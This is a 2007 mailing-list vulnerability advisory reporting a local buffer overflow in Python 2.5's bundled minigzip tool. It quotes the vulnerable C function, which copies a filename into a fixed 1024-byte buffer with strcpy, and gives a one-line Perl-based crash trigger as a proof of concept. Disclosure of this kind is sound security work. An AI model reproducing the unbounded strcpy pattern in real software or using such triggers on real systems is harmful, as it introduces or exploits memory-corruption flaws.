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Python 2.5 (Modules/zlib) minigzip local buffer overflow vulnerability


From: "starcadi starcadi" <starcadi () gmail com>
Date: Wed, 14 Mar 2007 16:50:52 +0100

Description:

The source of python contain a various modules, the zlib module contain a
minigzip tool, ( * minigzip is a minimal implementation of the gzip utility.
).

Source error:

the error was found in:
- void file_compress(file, mode)
because the use of strcpy() is inapropriatly

--
#define MAX_NAME_LEN 1024
[..]
void file_compress(file, mode)
   char  *file;
   char  *mode;
{
   local char outfile[MAX_NAME_LEN];
   FILE  *in;
   gzFile out;

   strcpy(outfile, file);
   strcat(outfile, GZ_SUFFIX);
--

the function file_compress() was called by main() function.

Proof of concept:

if you want test the vulnerability try:
$ minigzip `perl -e "print 'A'x1050"`

-- starcadi
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